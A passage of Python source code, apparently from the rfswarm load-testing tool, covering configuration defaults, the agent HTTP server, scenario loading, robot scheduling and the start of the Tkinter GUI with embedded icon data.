if 'win_width' not in base.config['GUI']:
base.config['GUI']['win_width'] = "800"
base.saveini()
if 'win_height' not in base.config['GUI']:
base.config['GUI']['win_height'] = "390"
base.saveini()
#
# Plan
#
if 'Plan' not in base.config:
base.config['Plan'] = {}
base.saveini()
if 'ScriptDir' not in base.config['Plan']:
base.config['Plan']['ScriptDir'] = base.dir_path
base.saveini()
if 'ScenarioDir' not in base.config['Plan']:
base.config['Plan']['ScenarioDir'] = base.dir_path
base.saveini()
if 'ScenarioFile' not in base.config['Plan']:
base.config['Plan']['ScenarioFile'] = ""
base.saveini()
else:
# check file exists - it may have been deleted since rfswarm last ran with this ini file
if not os.path.exists(base.config['Plan']['ScenarioFile']):
base.config['Plan']['ScenarioFile'] = ""
base.config['Plan']['ScriptDir'] = base.dir_path
base.config['Plan']['ScenarioDir'] = base.dir_path
base.saveini()
#
# Run
#
if 'Run' not in base.config:
base.config['Run'] = {}
base.saveini()
if 'ResultsDir' not in base.config['Run']:
base.config['Run']['ResultsDir'] = os.path.join(base.dir_path, "results")
base.saveini()
if 'display_index' not in base.config['Run']:
base.config['Run']['display_index'] = str(False)
base.saveini()
if 'display_iteration' not in base.config['Run']:
base.config['Run']['display_iteration'] = str(False)
base.saveini()
if 'display_sequence' not in base.config['Run']:
base.config['Run']['display_sequence'] = str(False)
base.saveini()
if 'display_percentile' not in base.config['Run']:
base.config['Run']['display_percentile'] = str(90)
base.saveini()
#
# Server
#
if 'Server' not in base.config:
base.config['Server'] = {}
base.saveini()
if 'BindIP' not in base.config['Server']:
base.config['Server']['BindIP'] = ''
base.saveini()
if 'BindPort' not in base.config['Server']:
base.config['Server']['BindPort'] = "8138"
base.saveini()
#
# end ensure ini file
#
if base.args.nogui:
base.save_ini = False
if not base.args.run:
base.args.run = True
else:
base.gui = RFSwarmGUI()
self.BuildCore()
base.debugmsg(5, "run_agent_server")
base.Agentserver = threading.Thread(target=self.run_agent_server)
base.Agentserver.start()
base.debugmsg(5, "run_db_thread")
base.run_dbthread = True
base.dbthread = threading.Thread(target=base.run_db_thread)
base.dbthread.start()
def BuildCore(self):
base.debugmsg(5, "BuildCore")
base.debugmsg(5, "BuildCorePlan")
self.BuildCorePlan()
base.debugmsg(5, "BuildCoreRun")
self.BuildCoreRun()
def autostart(self):
base.debugmsg(5, "appstarted:", base.appstarted)
# wait for mainloops to finished
while not base.appstarted:
time.sleep(1)
base.debugmsg(5, "appstarted:", base.appstarted)
if base.run_start <1:
neededagents = 1
if base.args.agents:
neededagents = int(base.args.agents)
base.debugmsg(5, "len(base.Agents):", len(base.Agents), " neededagents:", neededagents)
# agntlst = list(base.Agents.keys())
while len(base.Agents) < neededagents:
base.debugmsg(1, "Waiting for Agents")
base.debugmsg(3, "Agents:", len(base.Agents), " Agents Needed:", neededagents)
time.sleep(10)
if base.args.nogui:
base.debugmsg(5, "core.ClickPlay")
self.ClickPlay()
else:
base.debugmsg(5, "base.gui.ClickPlay")
base.gui.ClickPlay()
def mainloop(self):
if base.args.run:
# auto click play ?
# self.autostart()
autostart = threading.Thread(target=self.autostart)
autostart.start()
if not base.args.nogui:
base.gui.mainloop()
def on_closing(self, _event=None, *args):
# , _event=None is required for any function that has a shortcut key bound to it
if base.appstarted:
try:
base.debugmsg(0, "Shutdown Agent Server")
base.agenthttpserver.shutdown()
except:
pass
try:
base.debugmsg(3, "Join Agent Server Thread")
base.Agentserver.join()
except:
pass
try:
base.run_dbthread = False
base.debugmsg(3, "Join DB Thread")
base.dbthread.join()
except:
pass
try:
base.debugmsg(3, "Save ini File")
base.saveini()
except:
pass
time.sleep(1)
base.debugmsg(2, "Exit")
try:
sys.exit(0)
except SystemExit:
try:
os._exit(0)
except:
pass
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Server
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def run_agent_server(self):
srvip = base.config['Server']['BindIP']
srvport = int(base.config['Server']['BindPort'])
if len(srvip)>0:
srvdisphost = srvip
ip = ipaddress.ip_address(srvip)
base.debugmsg(5, "ip.version:", ip.version)
if ip.version == 6 and sys.version_info < (3, 8):
base.debugmsg(0, "Python 3.8 or higher required to bind to IPv6 Addresses")
pyver = "{}.{}.{}".format(sys.version_info[0], sys.version_info[1], sys.version_info[2])
base.debugmsg(0, "Python Version:",pyver," IP Version:", ip.version, " IP Address:", srvip)
srvip = ''
srvdisphost = socket.gethostname()
else:
srvdisphost = socket.gethostname()
server_address = (srvip, srvport)
try:
base.agenthttpserver = ThreadingHTTPServer(server_address, AgentServer)
except PermissionError:
base.debugmsg(0, "Permission denied when trying :",server_address)
self.on_closing()
return False
except Exception as e:
base.debugmsg(5, "e:", e)
self.on_closing()
return False
base.appstarted = True
base.debugmsg(5, "appstarted:", base.appstarted)
base.debugmsg(1, "Starting Agent Server", "http://{}:{}/".format(srvdisphost, srvport))
base.agenthttpserver.serve_forever()
def register_agent(self, agentdata):
base.debugmsg(9, "register_agent: agentdata:", agentdata)
# if "AssignedRobots" not in base.Agents[agnt].keys():
# print("get_next_agent: addinig AssignedRobots to ", agnt)
# print("get_next_agent: base.Agents:", base.Agents)
# base.Agents[agnt]["AssignedRobots"] = 0
AssignedRobots = 0
if agentdata["AgentName"] in base.Agents and "AssignedRobots" in base.Agents[agentdata["AgentName"]]:
AssignedRobots = base.Agents[agentdata["AgentName"]]["AssignedRobots"]
agentdata["AssignedRobots"] = AssignedRobots
agentdata["LastSeen"] = int(time.time())
if "Status" not in agentdata.keys():
agentdata["Status"] = "Unknown"
if agentdata["Robots"] == 0:
agentdata["Status"] = "Ready"
if agentdata["Robots"] > 0:
agentdata["Status"] = "Running"
load = max([agentdata["CPU%"], agentdata["MEM%"], agentdata["NET%"] ])
agentdata["LOAD%"] = load
if load>80:
agentdata["Status"] = "Warning"
if load>95:
agentdata["Status"] = "Critical"
base.Agents[agentdata["AgentName"]] = agentdata
base.debugmsg(9, "register_agent: agentdata:", agentdata)
# base.gui.UpdateAgents()
t = threading.Thread(target=self.UpdateAgents)
t.start()
# save data to db
agnttbldata = (agentdata["AgentName"], agentdata["Status"], agentdata["LastSeen"],
agentdata["Robots"], agentdata["LOAD%"], agentdata["CPU%"],
agentdata["MEM%"], agentdata["NET%"])
# sqlcmd = 'INSERT INTO Agents VALUES (?,?,?,?,?,?,?,?)'
#
# base.dbqueue["Write"].append({"SQL":sqlcmd, "VALUES": agnttbldata})
base.dbqueue["Agents"].append(agnttbldata)
def register_result(self, AgentName, result_name, result, elapsed_time, start_time, end_time, index, vuser, iter, sequence):
base.debugmsg(9, "register_result")
resdata = (index, vuser, iter, AgentName, sequence, result_name, result, elapsed_time, start_time, end_time)
base.debugmsg(9, "register_result: resdata:", resdata)
base.dbqueue["Results"].append(resdata)
base.debugmsg(9, "register_result: dbqueue Results:", base.dbqueue["Results"])
if not base.args.nogui:
ut = threading.Thread(target=base.gui.delayed_UpdateRunStats)
ut.start()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Plan
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def BuildCorePlan(self):
base.debugmsg(5, "BuildCorePlan")
if len(base.config['Plan']['ScenarioFile'])>0:
self.OpenFile(base.config['Plan']['ScenarioFile'])
else:
base.addScriptRow()
def OpenFile(self, ScenarioFile):
fileok = True
base.debugmsg(6, "ScenarioFile: ", ScenarioFile)
base.debugmsg(6, "base.config['Plan']['ScenarioFile']: ", base.config['Plan']['ScenarioFile'])
base.config['Plan']['ScenarioDir'] = os.path.dirname(ScenarioFile)
base.debugmsg(6, "base.config['Plan']['ScenarioDir']: ", base.config['Plan']['ScenarioDir'])
if base.config['Plan']['ScenarioFile'] != ScenarioFile:
base.debugmsg(6, "ScenarioFile:", ScenarioFile)
base.config['Plan']['ScenarioFile'] = ScenarioFile
base.saveini()
filedata = configparser.ConfigParser()
base.debugmsg(6, "filedata: ", filedata._sections)
if os.path.isfile(ScenarioFile):
base.debugmsg(9, "ScenarioFile: ", ScenarioFile)
filedata.read(ScenarioFile)
base.debugmsg(6, "filedata: ", filedata)
scriptcount = 0
if "Scenario" in filedata:
base.debugmsg(8, "Scenario:", filedata["Scenario"])
if "scriptcount" in filedata["Scenario"]:
scriptcount = int(filedata["Scenario"]["scriptcount"])
base.debugmsg(8, "scriptcount:", scriptcount)
else:
base.debugmsg(1, "File contains no scenario:", ScenarioFile)
return 1
rowcount = 0
for i in range(scriptcount):
ii = i+1
istr = str(ii)
if istr in filedata:
base.debugmsg(8, "filedata[",istr,"]:", filedata[istr])
rowcount += 1
# if i not in base.scriptlist:
# base.scriptlist.append({})
# base.scriptlist[ii]["Index"] = ii
if not base.args.nogui:
if ii+1 > base.gui.scriptgrid.grid_size()[1]: # grid_size tupple: (cols, rows)
base.addScriptRow()
else:
base.addScriptRow()
# users = 13
if "users" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][users]:", filedata[istr]["users"])
# base.scriptlist[ii]["users"] = filedata[istr]["users"]
self.sr_users_validate(rowcount, int(filedata[istr]["users"]))
# delay = 0
else:
fileok = False
if "delay" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][delay]:", filedata[istr]["delay"])
# base.scriptlist[ii]["delay"] = filedata[istr]["delay"]
self.sr_delay_validate(rowcount, int(filedata[istr]["delay"]))
# rampup = 60
else:
fileok = False
if "rampup" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][rampup]:", filedata[istr]["rampup"])
# base.scriptlist[ii]["rampup"] = filedata[istr]["rampup"]
self.sr_rampup_validate(rowcount, int(filedata[istr]["rampup"]))
# run = 600
else:
fileok = False
if "run" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][run]:", filedata[istr]["run"])
# base.scriptlist[ii]["run"] = filedata[istr]["run"]
self.sr_run_validate(rowcount, int(filedata[istr]["run"]))
# script = /Users/dave/Documents/GitHub/rfswarm/robots/OC_Demo_2.robot
else:
fileok = False
if "script" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][script]:", filedata[istr]["script"])
scriptname = filedata[istr]["script"]
if not os.path.isabs(scriptname):
# relative path, need to find absolute path
combined = os.path.join(base.config['Plan']['ScenarioDir'], scriptname)
base.debugmsg(8, "combined:", combined)
scriptname = os.path.abspath(combined)
base.debugmsg(8, "scriptname:", scriptname)
self.sr_file_validate(rowcount, scriptname)
else:
fileok = False
if "test" in filedata[istr]:
base.debugmsg(8, "filedata[", istr, "][test]:", filedata[istr]["test"])
# base.scriptlist[ii]["test"] = filedata[istr]["test"]
self.sr_test_validate("row{}".format(rowcount), filedata[istr]["test"])
else:
fileok = False
if not fileok:
base.debugmsg(1, "Scenario file is damaged:", ScenarioFile)
return 1
def ClickPlay(self, _event=None):
base.debugmsg(0, "Test Started: ", int(time.time()), "[",datetime.now().isoformat(sep=' ',timespec='seconds'),"]")
# before we start any robots we need to make sure the assigned robot counts are zero
for nxtagent in base.Agents.keys():
base.Agents[nxtagent]["AssignedRobots"] = 0
datafiletime = datetime.now().strftime("%Y%m%d_%H%M%S")
if len(base.config['Plan']['ScenarioFile'])>0:
filename = os.path.basename(base.config['Plan']['ScenarioFile'])
sname = os.path.splitext(filename)[0]
base.run_name = "{}_{}".format(datafiletime, sname)
else:
base.run_name = "{}_{}".format(datafiletime, "Scenario")
base.debugmsg(5, "base.run_name:", base.run_name)
base.run_start = 0
base.run_end = 0
base.run_paused = False
base.robot_schedule = {"RunName": "", "Agents": {}, "Scripts": {}}
t = threading.Thread(target=core.run_start_threads)
t.start()
if not base.args.nogui:
ut = threading.Thread(target=base.gui.delayed_UpdateRunStats)
ut.start()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Run
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def BuildCoreRun(self):
base.debugmsg(5, "RFSwarmCore: BuildCoreRun")
def ClickStop(self, _event=None):
base.run_end = int(time.time()) #time now
base.debugmsg(0, "Run Stopped:", base.run_end, "[",datetime.now().isoformat(sep=' ',timespec='seconds'),"]")
base.robot_schedule["End"] = base.run_end
for agnt in base.robot_schedule["Agents"].keys():
for grurid in base.robot_schedule["Agents"][agnt].keys():
base.robot_schedule["Agents"][agnt][grurid]["EndTime"] = base.run_end
def run_start_threads(self):
if base.run_end>0 and int(time.time())>base.run_end:
base.run_paused = True
totusrs = 0
curusrs = 0
base.debugmsg(8, "base.scriptlist:", base.scriptlist)
for grp in base.scriptlist:
if "Users" in grp:
base.debugmsg(9, "run_start_threads: totusrs", totusrs, " grp:", grp)
totusrs += int(grp["Users"])
base.debugmsg(8, "run_start_threads: totusrs", totusrs)
base.debugmsg(8, 'curusrs:', curusrs, " totusrs:", totusrs, " run_paused:", base.run_paused)
while curusrs < totusrs:
base.debugmsg(6, "while totusrs", totusrs, " curusrs:", curusrs)
# totusrs = 0
if "Start" not in base.robot_schedule:
base.robot_schedule["Start"] = 0
if base.run_end>0 and int(time.time())>base.run_end:
break
if base.run_paused and int(time.time())<base.run_end:
nxtagent = base.get_next_agent()
base.debugmsg(6, '(if) next_agent:', nxtagent)
if nxtagent is None:
base.run_paused = True
base.debugmsg(5, 'Not enough Agents available to run Robots! (if)')
base.debugmsg(3, 'Not enough Agents available to run Robots!')
time.sleep(10)
else:
base.run_paused = False
if not base.args.nogui:
tkm.showinfo("RFSwarm - Info", "Enough Agents available to run Robots, test will now resume.")
base.debugmsg(0, 'Enough Agents available to run Robots, resuming.')
else:
for grp in base.scriptlist:
base.debugmsg(9, "grp", grp)
if "Test" in grp.keys() and len(grp["Test"])>0:
base.debugmsg(6, "while totusrs", totusrs, " curusrs:", curusrs)
base.debugmsg(9, "grp[Index]", grp['Index'])
nxtagent = base.get_next_agent()
base.debugmsg(6, '(else) next_agent:', nxtagent)
if nxtagent is None:
# MsgBox = tkm.askyesno('Save Scenario','Do you want to save the current scenario?')
if not base.args.nogui and not base.run_paused:
tkm.showwarning("RFSwarm - Warning", "Not enough Agents available to run Robots!\n\nTest run is paused, please add agents to continue or click stop to abort.")
base.run_paused = True
base.debugmsg(5, 'Not enough Agents available to run Robots! (else)')
base.debugmsg(0, 'Not enough Agents available to run Robots!')
time.sleep(10)
break
else:
colour = base.line_colour(grp["Index"])
base.debugmsg(9, "Line colour", colour)
if base.run_start < 1:
base.run_start = int(time.time()) #time now
base.robot_schedule = {}
base.robot_schedule["RunName"] = base.run_name
base.robot_schedule["Agents"] = {}
base.robot_schedule["Scripts"] = {}
base.robot_schedule["Start"] = base.run_start
if not base.args.nogui:
stm = time.localtime(base.robot_schedule["Start"])
base.gui.display_run['start_time'].set(" {} ".format(time.strftime("%H:%M:%S", stm)))
base.run_end = int(time.time()) + grp["Run"]
base.robot_schedule["End"] = base.run_end
# totusrs = 0
gid = grp["Index"]
base.debugmsg(9, "gid", gid, " robot_schedule[Scripts].keys()", base.robot_schedule["Scripts"].keys())
if gid not in base.robot_schedule["Scripts"].keys():
base.robot_schedule["Scripts"][gid] = {}
base.debugmsg(9, "totusrs", totusrs)
# totusrs += int(grp["Users"])
base.debugmsg(9, "totusrs", totusrs)
time_elapsed = int(time.time()) - base.run_start
base.debugmsg(9, 'time_elapsed', time_elapsed, "Delay", grp["Delay"])
if time_elapsed > grp["Delay"] - 1:
uid = 0
nxtuid = len(base.robot_schedule["Scripts"][gid]) + 1
base.debugmsg(9, 'nxtuid', nxtuid)
# Determine if we should start another user?
if nxtuid < grp["Users"]+1:
rupct = (time_elapsed - grp["Delay"]) /grp["RampUp"]
base.debugmsg(9, 'rupct', rupct)
ruusr = int(grp["Users"] * rupct)
base.debugmsg(9, 'nxtuid', nxtuid, 'ruusr', ruusr)
if nxtuid < ruusr+1:
uid = nxtuid
grurid = "{}_{}_{}".format(gid, uid, int(time.time()))
base.debugmsg(9, 'uid', uid)
base.robot_schedule["Scripts"][gid][uid] = grurid
if nxtagent not in base.robot_schedule["Agents"].keys():
base.robot_schedule["Agents"][nxtagent] = {}
base.robot_schedule["Agents"][nxtagent][grurid] = {
"ScriptHash": grp["ScriptHash"],
"Test": grp["Test"],
"StartTime": int(time.time()),
"EndTime": int(time.time()) + grp["Run"],
"id": grurid
}
base.run_end = int(time.time()) + grp["Run"]
base.robot_schedule["End"] = base.run_end
base.Agents[nxtagent]["AssignedRobots"] += 1
base.debugmsg(5, "base.Agents[",nxtagent,"][AssignedRobots]:", base.Agents[nxtagent]["AssignedRobots"])
curusrs += 1
base.debugmsg(2, "Robot:", curusrs, " Assigned to:", nxtagent)
base.debugmsg(9, "robot_schedule", base.robot_schedule)
if base.run_end>0 and int(time.time())>base.run_end:
base.debugmsg(6, "Test Paused: run_end:", base.run_end, " time:", int(time.time()))
base.run_paused = True
break
time.sleep(0.1)
if not base.args.nogui:
etm = time.gmtime(int(time.time()) - base.robot_schedule["Start"])
base.gui.display_run['elapsed_time'].set(" {} ".format(time.strftime("%H:%M:%S", etm)))
base.debugmsg(2, "Robot Ramp Up Completed")
def sr_users_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
v = None
if len(args)>1:
usrs = args[1]
base.debugmsg(6, "Row:", r, "Users:", usrs)
base.debugmsg(8, "base.scriptlist:", base.scriptlist)
base.scriptlist[r]["Users"] = int(usrs)
if not base.args.nogui:
base.gui.sr_users_validate(*args)
return True
def sr_delay_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
dly = 0
if len(args)>1:
dly = str(args[1])
base.debugmsg(6, "Row:", r, "Delay:", dly)
base.scriptlist[r]["Delay"] = int(dly)
if not base.args.nogui:
base.gui.sr_delay_validate(*args)
return True
def sr_rampup_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
rmp = None
if len(args)>1:
rmp = str(args[1])
base.debugmsg(6, "Row:", r, "RampUp:", rmp)
base.scriptlist[r]["RampUp"] = int(rmp)
if not base.args.nogui:
base.gui.sr_rampup_validate(*args)
return True
def sr_run_validate(self, *args):
base.debugmsg(5, "args:",args)
if args:
r = args[0]
run = None
if len(args)>1:
run = str(args[1])
base.debugmsg(6, "Row:", r, "Run:", run)
base.scriptlist[r]["Run"] = int(run)
if not base.args.nogui:
base.gui.sr_run_validate(*args)
return True
def sr_file_validate(self, r, *args):
base.debugmsg(9, "r:", r, " args:", args)
if args:
scriptfile = args[0]
else:
scriptfile = ""
base.debugmsg(7, "scriptfile:", scriptfile)
if len(scriptfile)>0:
base.scriptlist[r]["Script"] = scriptfile
script_hash = base.hash_file(scriptfile, os.path.basename(scriptfile))
base.scriptlist[r]["ScriptHash"] = script_hash
if script_hash not in base.scriptfiles:
base.scriptfiles[script_hash] = {
"id": script_hash,
"localpath": scriptfile,
"relpath": os.path.basename(scriptfile),
"type": "script"
}
t = threading.Thread(target=base.find_dependancies, args=(script_hash, ))
t.start()
base.config['Plan']['ScriptDir'] = os.path.dirname(scriptfile)
base.saveini()
else:
if "ScriptHash" in base.scriptlist[r]:
oldhash = base.scriptlist[r]["ScriptHash"]
t = threading.Thread(target=base.remove_hash, args=(oldhash, ))
t.start()
base.scriptlist[r]["Script"] = ''
base.scriptlist[r]["ScriptHash"] = ''
self.plan_scnro_chngd = True
if not base.args.nogui:
base.gui.sr_file_validate(r, *args)
return True
def sr_test_validate(self, *args):
base.debugmsg(5, "args:", args)
# r = int(args[0][-1:])+1
r = int(args[0][3:])
base.debugmsg(9, "r:", r)
v = None
if len(args)>1 and len(args[1])>1:
v = args[1]
base.debugmsg(9, "v:", v)
base.scriptlist[r]["Test"] = v
base.debugmsg(9, "scriptlist[r]:", base.scriptlist[r])
if not base.args.nogui:
base.gui.sr_test_validate(*args)
return True
def UpdateAgents(self):
rnum = 0
removeagents = []
robot_count = 0
displayagent = True
time_elapsed = int(time.time()) - base.agenttgridupdate
if (time_elapsed>=5):
base.debugmsg(5, "time_elapsed:", time_elapsed)
base.agenttgridupdate = int(time.time())
agntlst = list(base.Agents.keys())
base.debugmsg(5, "agntlst:", agntlst)
for agnt in agntlst:
displayagent = True
tm = base.Agents[agnt]["LastSeen"]
agnt_elapsed = int(time.time()) - tm
if agnt_elapsed>15:
base.Agents[agnt]["Status"] = "Offline?"
if agnt_elapsed>60:
removeagents.append(agnt)
# del base.Agents[agnt]
displayagent = False
robot_count += base.Agents[agnt]["Robots"]
if base.total_robots>0 and robot_count <1:
# run finished so clear run name
base.run_name = ""
base.robot_schedule["RunName"] = base.run_name
base.total_robots = robot_count
for agnt in removeagents:
# this should prevent issue RuntimeError: dictionary changed size during iteration
del base.Agents[agnt]
if rnum>0:
self.updatethread = threading.Thread(target=self.delayed_UpdateAgents)
self.updatethread.start()
if not base.args.nogui:
base.debugmsg(6, "nogui:", base.args.nogui)
try:
base.gui.UpdateAgents()
except:
pass
if base.args.run:
base.debugmsg(5, "base.args.run:", base.args.run, " base.args.nogui:", base.args.nogui, " run_end:", base.run_end, " time:", int(time.time()), " total_robots:", base.total_robots)
if base.run_end > 0 and base.run_end < int(time.time()) and base.total_robots < 1 and not base.posttest:
base.debugmsg(0, "Test Completed: ", int(time.time()), "[",datetime.now().isoformat(sep=' ',timespec='seconds'),"]")
base.debugmsg(5, "run_end:", base.run_end, " time:", int(time.time()), " total_robots:", base.total_robots)
base.posttest = True
if base.args.nogui:
base.debugmsg(9, "report_text")
base.report_text()
base.debugmsg(6, "on_closing")
self.on_closing()
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# End class RFSwarmCore
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
class RFSwarmGUI(tk.Frame):
# class RFSwarmGUI:
titleprefix = 'Robot Framework Swarm'
# GUI = None
tabs = None
pln_graph = None
scriptgrid = None
scrollable_sg = None
agenttgrid = None
scrollable_ag = None
rungrid = None
rungridupdate = 0
scrollable_rg = None
plan_scnro_chngd = False
plancolidx = 0
plancolusr = 1
plancoldly = 2
plancolrmp = 3
plancolrun = 4
plancolnme = 5
plancolscr = 6
plancoltst = 7
plancoladd = 99
display_agents = {}
display_run = {}
# imgdata = {}
imgdata = {}
b64 = {}
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# core application
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def __init__(self, master=None):
root = tk.Tk()
root.protocol("WM_DELETE_WINDOW", self.on_closing)
tk.Frame.__init__(self, root)
self.grid(sticky="nsew")
root.columnconfigure(0, weight=1)
root.rowconfigure(0, weight=1)
# set initial window size
root.geometry(base.config['GUI']['win_width'] + "x" + base.config['GUI']['win_height'])
root.resizable(True, True)
base.debugmsg(6, "BuildUI")
self.BuildUI()
try:
base.debugmsg(6, "pln_update_graph")
ug = threading.Thread(target=self.pln_update_graph)
ug.start()
except:
pass
def on_closing(self, _event=None):
base.debugmsg(3, "Close Scenario")
sf = base.config['Plan']['ScenarioFile']
try:
self.mnu_file_Close()
except:
pass
# mnu_file_Close clears this value, need to set it back so that it is saved
# in the ini file so the next app open loads the file
base.config['Plan']['ScenarioFile'] = sf
base.debugmsg(3, "Close GUI")
try:
self.destroy()
except:
pass
core.on_closing()
def updateTitle(self):
titletext = "{} - {}".format(self.titleprefix, "Untitled")
if 'Plan' in base.config and 'ScenarioFile' in base.config['Plan']:
if len(base.config['Plan']['ScenarioFile'])>0:
titletext = "{} - {}".format(self.titleprefix, base.config['Plan']['ScenarioFile'])
self.master.title(titletext)
def get_icon(self, icontext):
# # https://www.daniweb.com/programming/software-development/code/216634/jpeg-image-embedded-in-python
base.debugmsg(5, "icontext:", icontext)
# http://www.famfamfam.com/lab/icons/silk/
files = {}
# files["New"] = "famfamfam_silk_icons/icons/page_white.edt.gif"
# files["Save"] = "famfamfam_silk_icons/icons/disk.gif"
# files["SaveAs"] = "famfamfam_silk_icons/icons/disk_multiple.gif"
# files["Open"] = "famfamfam_silk_icons/icons/folder_explore.gif"
# files["Play"] = "famfamfam_silk_icons/icons/resultset_next.gif"
# files["Stop"] = "famfamfam_silk_icons/icons/stop.gif"
# files["report_text"] = "famfamfam_silk_icons/icons/report.gif"
# files["report_html"] = "famfamfam_silk_icons/icons/report_go.gif"
# files["report_word"] = "famfamfam_silk_icons/icons/report_word.gif"
if icontext in files:
base.debugmsg(6, "icontext:", icontext)
scrdir = os.path.dirname(__file__)
base.debugmsg(9, "scrdir:", scrdir)
imgfile = os.path.join(scrdir, files[icontext])
base.debugmsg(9, "imgfile:", imgfile)
if os.path.isfile(imgfile):
base.debugmsg(9, "isfile: imgfile:", imgfile)
with open(imgfile,"rb") as f:
img_raw = f.read()
base.debugmsg(9, "img_raw:", img_raw)
# b64 = base64.encodestring(img_raw)
# img_text = 'img_b64 = \\\n"""{}"""'.format(b64)
self.imgdata[icontext] = tk.PhotoImage(file=imgfile)
base.debugmsg(9, "imgdata[icontext]:", self.imgdata[icontext])
return self.imgdata[icontext]
# png_b64 = """b'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0\nU29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC4SURBVCjPdZFbDsIgEEWnrsMm7oGGfZro\nhxvU+Iq1TyjU60Bf1pac4Yc5YS4ZAtGWBMk/drQBOVwJlZrWYkLhsB8UV9K0BUrPGy9cWbng2CtE\nEUmLGppPjRwpbixUKHBiZRS0p+ZGhvs4irNEvWD8heHpbsyDXznPhYFOyTjJc13olIqzZCHBouE0\nFRMUjA+s1gTjaRgVFpqRwC8mfoXPPEVPS7LbRaJL2y7bOifRCTEli3U7BMWgLzKlW/CuebZPAAAA\nAElFTkSuQmCC\n'"""
self.b64 = {}
# gif's
self.b64["New"] = b'GIF89a\x10\x00\x10\x00\xe7\xfd\x00\x00\x00\x00\x01\x01\x01\x02\x02\x02\x03\x03\x03\x04\x04\x04\x05\x05\x05\x06\x06\x06\x07\x07\x07\x08\x08\x08\t\t\t\n\n\n\x0b\x0b\x0b\x0c\x0c\x0c\r\r\r\x0e\x0e\x0e\x0f\x0f\x0f\x10\x10\x10\x11\x11\x11\x12\x12\x12\x13\x13\x13\x14\x14\x14\x15\x15\x15\x16\x16\x16\x17\x17\x17\x18\x18\x18\x19\x19\x19\x1a\x1a\x1a\x1b\x1b\x1b\x1c\x1c\x1c\x1d\x1d\x1d\x1e\x1e\x1e\x1f\x1f\x1f !!!"""###$$$%%%&&&\'\'\'((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~\x7f\x7f\x7f\x80\x80\x80\x81\x81\x81\x82\x82\x82\x83\x83\x83\x84\x84\x84\x85\x85\x85\x86\x86\x86\x87\x87\x87\x88\x88\x88\x89\x89\x89\x8a\x8a\x8a\x8b\x8b\x8b\x8c\x8c\x8c\x8d\x8d\x8d\x8e\x8e\x8e\x8f\x8f\x8f\x90\x90\x90\x91\x91\x91\x92\x92\x92\x93\x93\x93\x94\x94\x94\x95\x95\x95\x96\x96\x96\x97\x97\x97\x98\x98\x98\x99\x99\x99\x9a\x9a\x9a\x9b\x9b\x9b\x9c\x9c\x9c\x9d\x9d\x9d\x9e\x9e\x9e\x9f\x9f\x9f\xa0\xa0\xa0\xa1\xa1\xa1\xa2\xa2\xa2\xa3\xa3\xa3\xa4\xa4\xa4\xa5\xa5\xa5\xa6\xa6\xa6\xa7\xa7\xa7\xa8\xa8\xa8\xa9\xa9\xa9\xaa\xaa\xaa\xab\xab\xab\xac\xac\xac\xad\xad\xad\xae\xae\xae\xaf\xaf\xaf\xb0\xb0\xb0\xb1\xb1\xb1\xb2\xb2\xb2\xb3\xb3\xb3\xb4\xb4\xb4\xb5\xb5\xb5\xb6\xb6\xb6\xb7\xb7\xb7\xb8\xb8\xb8\xb9\xb9\xb9\xba\xba\xba\xbb\xbb\xbb\xbc\xbc\xbc\xbd\xbd\xbd\xbe\xbe\xbe\xbf\xbf\xbf\xc0\xc0\xc0\xc1\xc1\xc1\xc2\xc2\xc2\xc3\xc3\xc3\xc4\xc4\xc4\xc5\xc5\xc5\xc6\xc6\xc6\xc7\xc7\xc7\xc8\xc8\xc8\xc9\xc9\xc9\xca\xca\xca\xcb\xcb\xcb\xcc\xcc\xcc\xcd\xcd\xcd\xce\xce\xce\xcf\xcf\xcf\xd0\xd0\xd0\xd1\xd1\xd1\xd2\xd2\xd2\xd3\xd3\xd3\xd4\xd4\xd4\xd5\xd5\xd5\xd6\xd6\xd6\xd7\xd7\xd7\xd8\xd8\xd8\xd9\xd9\xd9\xda\xda\xda\xdb\xdb\xdb\xdc\xdc\xdc\xdd\xdd\xdd\xde\xde\xde\xdf\xdf\xdf\xe0\xe0\xe0\xe1\xe1\xe1\xe2\xe2\xe2\xe3\xe3\xe3\xe4\xe4\xe4\xe5\xe5\xe5\xe6\xe6\xe6\xe7\xe7\xe7\xe8\xe8\xe8\xe9\xe9\xe9\xea\xea\xea\xeb\xeb\xeb\xec\xec\xec\xed\xed\xed\xee\xee\xee\xef\xef\xef\xf0\xf0\xf0\xf1\xf1\xf1\xf2\xf2\xf2\xf3\xf3\xf3\xf4\xf4\xf4\xf5\xf5\xf5\xf6\xf6\xf6\xf7\xf7\xf7\xf8\xf8\xf8\xf9\xf9\xf9\xfa\xfa\xfa\xfb\xfb\xfb\xfc\xfc\x